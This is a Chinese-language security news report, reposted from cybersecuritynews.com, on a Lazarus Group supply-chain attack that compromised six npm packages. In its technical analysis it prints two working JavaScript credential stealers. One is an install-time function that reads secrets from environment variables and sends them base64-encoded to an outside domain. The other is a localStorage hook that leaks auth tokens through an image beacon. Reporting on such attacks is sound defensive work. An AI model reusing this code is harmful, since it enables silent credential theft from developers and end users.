更多全球网络安全资讯尽在邑安全
网络安全研究人员最近发现了由臭名昭著的 Lazarus Group 精心策划的复杂供应链攻击,该组织被广泛认为与朝鲜有关。
黑客成功入侵了六个流行的 npm 包,注入了恶意代码,旨在从全球数千名开发人员和组织那里获取登录凭据。
6 个恶意 npm 包
上周发现的这次攻击是今年最重要的软件供应链泄露事件之一,可能会影响数百万个包含受污染依赖项的下游应用程序和网站。
Node Package Manager (npm) 注册表作为 JavaScript 开发的支柱,已日益成为老练的威胁行为者的目标,这些威胁行为者希望通过最少的努力来最大化影响。
通过毒害广泛使用的软件包,攻击者可以有效地破坏无数将这些依赖项整合到其软件中的组织。
安全公司 Mandiant 在例行安全监控期间检测到来自多家金融机构开发环境的可疑网络流量后,发现了该活动。
Socket 的调查研究人员发现,受感染的软件包包括流行的开发人员工具:“react-native-utils”、“api-data-connector”、“auth-manager-js”、“node-service-config”、“aws-lambda-handler”和“react-state-manager”。
这些程序包每周的下载量总计超过 2500 万次,凸显了泄露的潜在规模。
攻击者通过绕过多因素身份验证协议的复杂网络钓鱼攻击获得了对合法包维护者的 npm 帐户的访问权限。
Lazarus 特工采用了一种特别狡猾的方法,只对合法代码进行了最少的更改,即使对于具有安全意识的开发人员来说,也使检测具有挑战性。
恶意代码设计为仅在生产环境中激活,在测试阶段保持休眠状态以避免被发现。
触发后,代码将从环境变量、浏览器存储和凭据管理器中提取凭据。
技术分析
恶意代码主要插入到安装后脚本中,这些脚本在安装软件包时自动执行。
例如,在 “auth-manager-js” 包中,攻击者添加了一个看似无辜的实用函数,掩盖了其真实目的:
function checkSystemCompatibility() {
const os = require('os');
const https = require('https');
// Legitimate-looking compatibility check
const sysInfo = {
platform: os.platform(),
release: os.release(),
type: os.type(),
arch: os.arch()
};
// The malicious portion - collects environment variables
const env = process.env;
const sensitiveData = {};
// Look for credentials in environment variables
['AWS_', 'DB_', 'API_', 'TOKEN', 'SECRET', 'KEY', 'PASSWORD'].forEach(prefix => {
Object.keys(env).forEach(key => {
if (key.includes(prefix)) {
sensitiveData[key] = env[key];
}
});
});
// Exfiltration routine disguised as telemetry
if (Object.keys(sensitiveData).length > 0) {
const exfilData = Buffer.from(JSON.stringify(sensitiveData)).toString('base64');
https.get(`https://analytics-collection.org/metrics?data=${exfilData}`);
}
return sysInfo;
}
在 auth-manager-js 软件包中插入恶意代码。
攻击者使用域前置技术来隐藏被盗凭据的泄露。
收集的数据被发送到看起来合法的域,例如“analytics-collection.org”和“metrics-telemetry.net”,这些域充当代理,将信息转发到攻击者控制的服务器。
黑客还在 “react-state-manager” 包中实现了一个基于浏览器的智能凭据收集器,它可以从开发人员工具中提取保存的密码:
// Simplified version of the credential harvesting code
const originalLocalStorage = window.localStorage;
window.localStorage = {
setItem: function(key, value) {
if (key.toLowerCase().includes('token') ||
key.toLowerCase().includes('auth') ||
key.toLowerCase().includes('credential')) {
// Disguised as an error tracker
const img = new Image();
img.src = `https://metrics-telemetry.net/pixel.gif?err=${btoa(key + ':' + value)}`;
}
return originalLocalStorage.setItem(key, value);
},
// Other localStorage methods preserved
getItem: originalLocalStorage.getItem.bind(originalLocalStorage),
removeItem: originalLocalStorage.removeItem.bind(originalLocalStorage),
clear: originalLocalStorage.clear.bind(originalLocalStorage)
};
来自 react-state-manager 包的浏览器存储拦截代码。
npm 安全团队已删除受感染的版本,并正在与受影响的包维护者合作以保护他们的帐户。
敦促使用六个已识别软件包中任何一个的组织立即更新到修补版本并轮换所有可能暴露的凭证。
安全研究人员建议实施严格的包管理策略,包括版本固定和使用完整性验证工具,例如 npm 审计和依赖项扫描解决方案。
Lazarus Group 继续展示其从基本的破坏性网络攻击演变为针对开发人员基础设施的复杂供应链入侵,这表明民族国家黑客行动的趋势令人担忧。
原文来自: cybersecuritynews.com
原文链接: https://cybersecuritynews.com/lazarus-hackers-weaponized-6-npm-packages/
原文始发于微信公众号(邑安全):Lazarus 黑客将 6 个 npm 包武器化以窃取登录信息
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论